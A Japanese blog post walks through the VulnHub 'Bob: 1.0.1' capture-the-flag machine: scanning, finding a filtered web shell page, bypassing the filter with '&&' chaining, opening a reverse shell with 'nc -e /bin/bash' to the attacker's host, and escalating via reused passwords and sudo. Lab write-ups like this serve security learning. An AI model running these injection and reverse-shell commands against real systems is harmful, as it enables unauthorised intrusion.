MasaのITC Life

夢は起業家!全てにおいて凡人だけど頑張ることだけはいっちょ前!

ハッキング

【VulnHub】Bob:1.0.1の解き方!(攻略法)

投稿日:


今回の問題はこちらにあります。


https://www.vulnhub.com/entry/bob-101,226/



それでは攻略していきましょう。




netdiscover -r 172.21.0.0/16


するとターゲットのIPアドレスがわかります。


nmap -Pn -A -p- 172.21.0.110


どのポートがオープンしているか分かります。

どうやらWebサーバが動いているようです。

アクセスしてみましょう!


ちゃんとアクセス出来ました。

もう少し手がかりがないか見ていきます。


nikto -h 172.21.0.110



robots.txtを見てましょう。




4つのパスを順番に見ていきます。

すると一番怪しいのが/dev_shell.phpになります。




試しにコマンドを何か打ってみましょう!



例えば、whoami と打ってみます。


期待通りの結果が返ってきました。

続いてもっと試してみます。




どうやらinputがそのままshellに

渡るわけではないようです。

一応、php中で文字列のチェックが

何かかしら行われているようです。



もう少し試してみます。

whoami && cat /etc/passwd




いい感じですね!

どうやら論理積をとると上手くいくようです。




ちなみにphpは次のようになっています。

侵入後にプロぐラムを覗きました。


まずinputがそのまま

コマンド変数に格納されます。


そして、以下のように文字列の確認が行われます。



話しを戻して、、、

次のように入力します。

whoami && nc -e /bin/bash 172.21.0.104 4444


172.21.0.104は攻撃として

使用しているpcのアドレスです。

また、4444はポートです。


それと同時にアタッカーのPCも

nc -lnp 4444


ポートを開けてlistenしておきます。


相手から接続を受けると、

connect...となります。


そしたら以下のワンラインを実行します。


python -c 'import pty;pty.spawn("/bin/bash")'


pythonのptyに関する情報はこちら



これで侵入できましたので、

管理者への昇格&フラグ探しを

していきましょう!



homeディレクトリを見てみます。


各ディレクトリを探索してみます。

するとelliotのディレクトリで

良い匂いを感じ取ります。


theadminsdumb.txtを覗いてみます。




パスワードがQwetry...

みたいなことが書かれているので、

各ユーザに対してそのパスワードで

ログインできるか試してみます。



ちなみに、cat /etc/passwd をしたときに、

ターゲット上のユーザ情報が流出しました。

jc, elliot, bob, seb はすべて、

ユーザ名であることが分かっています。



一人ずつ試していくわけですが、

jcでヒットします。


su jc


これでjcになりすませました。

管理者権限が付与されるか

一応、試してみましょう!


sudo su


残念、、、ダメでした。

それならルートのパスワードを取得するか、

ほかのユーザでログインして、

再度、sudo su を試してみます。



このあたりで疲れてきたので、

以下は最終的にやることのみを

紹介して終わろうと思います。(笑)



他ユーザのログイン情報を探していくうちに、

bobアカウントのパスワードを取得できます。


そして、bobでログインします。

試しにbobでsudo su を実行します。

そしたら管理者権限が付与されます!


これで相手の本陣を崩壊させたのと同じです。

後はflagを持ち帰りましょう!




以上、無事にflag取得できました!


最後まで読んでいただきありがとうございました。



参考:
https://www.hackingarticles.in/hack-the-bob-1-0-1-vm-ctf-challenge/





-ハッキング

Copyright© MasaのITC Life , 2023 All Rights Reserved Powered by STINGER.